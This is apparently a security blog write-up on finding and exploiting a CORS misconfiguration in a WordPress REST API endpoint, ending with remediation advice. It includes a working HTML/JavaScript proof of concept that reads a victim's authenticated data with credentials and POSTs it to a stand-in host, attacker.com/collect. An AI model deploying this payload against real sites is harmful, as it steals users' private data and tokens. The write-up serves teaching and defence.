CORS Misconfiguration & Data Exfiltration

Identifying and exploiting CORS misconfigurations for unauthorized data access — building proof-of-concept exploits and understanding the full security implications.

Understanding CORS

Cross-Origin Resource Sharing (CORS) is a mechanism that allows browsers to make requests to domains other than the one serving the current page. By default, browsers enforce the same-origin policy, blocking cross-domain requests for security. CORS provides a way to selectively bypass this restriction.

When implemented correctly, CORS enables legitimate cross-domain communication. When misconfigured, it becomes an information disclosure vulnerability.

Discovery Through Reconnaissance

During directory enumeration, I identified a wp-json endpoint that caught my attention. WordPress REST API endpoints are common, but their CORS configuration often reveals security issues.

Testing for Misconfiguration

Testing CORS is straightforward — add an Origin header to your request and inspect the server's response headers.

  1. Intercept the request in Burp Suite
  2. Add header: Origin: https://attacker.com
  3. Send the request and examine the response headers

A properly configured server will either reject the request or only allow specific, trusted origins. A misconfigured server will reflect the attacker-controlled origin back in the response.

CORS misconfiguration showing reflected origin in response headers
Burp Suite response — server reflects arbitrary Origin with credentials allowed.

The key indicator is in the response headers:

HTTP Response Headers — Misconfigured
Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, PUT, DELETE Access-Control-Allow-Headers: Authorization, Content-Type

When the server reflects the attacker's origin and includes Access-Control-Allow-Credentials: true, authenticated requests become possible from arbitrary origins. This breaks the security model browsers rely on to protect user data.

Exploitation

With CORS misconfigured, an attacker can craft a malicious page that makes authenticated requests to the vulnerable endpoint. When a victim visits the attacker's page while logged into the target site, their browser automatically includes authentication cookies.

Proof-of-concept exploit:

PoC — data exfiltration HTML / JS
<!DOCTYPE html> <html><body> <center> <h2>Data Exfiltration PoC</h2> <button onclick='exploit()'>Trigger</button> <div id='output'></div> <script> function exploit() { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var data = this.responseText; document.getElementById("output").innerHTML = data; // Exfiltrate to attacker-controlled server var exfil = new XMLHttpRequest(); exfil.open("POST", "https://attacker.com/collect", true); exfil.send("data=" + encodeURIComponent(data)); } }; xhr.open("GET", "https://target.com/wp-json/sensitive-endpoint", true); xhr.withCredentials = true; // Include victim's cookies xhr.send(); } </script> </body></html>

This page makes an authenticated request to the vulnerable endpoint, displays the response, and silently sends it to an attacker-controlled server. The victim sees a seemingly normal page. The attacker receives their sensitive data.

Impact

Attack Scenarios Enabled
  • Authentication token theft from API responses
  • Personal information disclosure from user profile endpoints
  • Cross-site request forgery with full response reading
  • Session hijacking through reflected authentication data

Proper Configuration

CORS should be configured with explicit allowlists of trusted origins. Never use:

The same-origin policy exists for a reason. CORS provides controlled exceptions to that policy. Misconfiguring it defeats the security model browsers rely on to protect users.